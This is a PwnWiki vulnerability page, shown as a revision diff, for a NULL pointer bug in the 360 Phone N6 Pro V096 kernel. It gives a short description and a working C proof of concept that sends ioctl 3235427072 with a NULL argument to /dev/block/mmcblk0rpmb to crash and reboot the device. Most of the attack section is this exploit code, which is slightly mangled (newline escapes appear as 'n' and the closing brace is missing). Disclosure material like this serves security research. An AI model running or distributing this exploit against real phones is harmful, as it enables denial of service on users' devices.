Difference between revisions of "360 Phone N6 Pro內核漏洞/en"

From PwnWiki
(Created page with "==Principle of the vulnerability==")
(Created page with "The kernel module in the 360 Phone N6 Pro V096 kernel component allows an attacker to use the command 3235427072 to inject variable on device <code>/dev/block/mmcblk0rpmb</cod...")
 
Line 2: Line 2:
 
==Principle of the vulnerability==
 
==Principle of the vulnerability==
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
The kernel module in the 360 Phone N6 Pro V096 kernel component allows an attacker to use the command 3235427072 to inject variable on device <code>/dev/block/mmcblk0rpmb</code> and cause the kernel to crash.
360 Phone N6 Pro V096內核組件中的內核模塊允許攻擊者使用命令3235427072在設備<code>/dev/block/mmcblk0rpmb</code>上通過ioctl的自變量注入精心設計的自變量,並導致內核崩潰。
 
</div>
 
  
<div lang="chinese" dir="ltr" class="mw-content-ltr">
+
==Impact of the vulnerability==
==漏洞影響==
 
</div>
 
  
 
360 Phone N6 Pro 1801-A01
 
360 Phone N6 Pro 1801-A01

Latest revision as of 11:38, 31 May 2021

Other languages:
Bahasa Indonesia • ‎Chinese • ‎English • ‎русский • ‎עברית • ‎中文(中国大陆)‎ • ‎粵語

Principle of the vulnerability

The kernel module in the 360 Phone N6 Pro V096 kernel component allows an attacker to use the command 3235427072 to inject variable on device /dev/block/mmcblk0rpmb and cause the kernel to crash.

Impact of the vulnerability

360 Phone N6 Pro 1801-A01

POC

/*
* This is poc of 360 N6 Pro, 1801-A01
* Android Version: 7.1.1
* Version Number: V096
* Kernel Version: Linux localhost 4.4.21-perf #1 SMP PREEMPT Wed Mar 28 15:24:20 UTC 2018 aarch64
* A NULL pointer bug in the ioctl interface of device file /dev/block/mmcblk0rpmb causes the system crash via IOCTL 3235427072.
* This Poc should run with permission to do ioctl on /dev/block/mmcblk0rpmb.
*/
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/ioctl.h>

const static char *driver = "/dev/block/mmcblk0rpmb";
static command = 3235427072; // 0xc0d8b300

int main(int argc, char **argv, char **env) {
int fd = 0;
fd = open(driver, O_RDWR);
if (fd < 0) {
printf("Failed to open %s, with errno %dn", driver, errno);
system("echo 1 > /data/local/tmp/log");
return -1;
}

printf("Try ioctl device file '%s', with command 0x%x and payload NULLn", driver, command);
printf("System will crash and reboot.n");
if(ioctl(fd, command, NULL) < 0) {
printf("Allocation of structs failed, %dn", errno);
system("echo 2 > /data/local/tmp/log");
return -1;
}
close(fd);
return 0;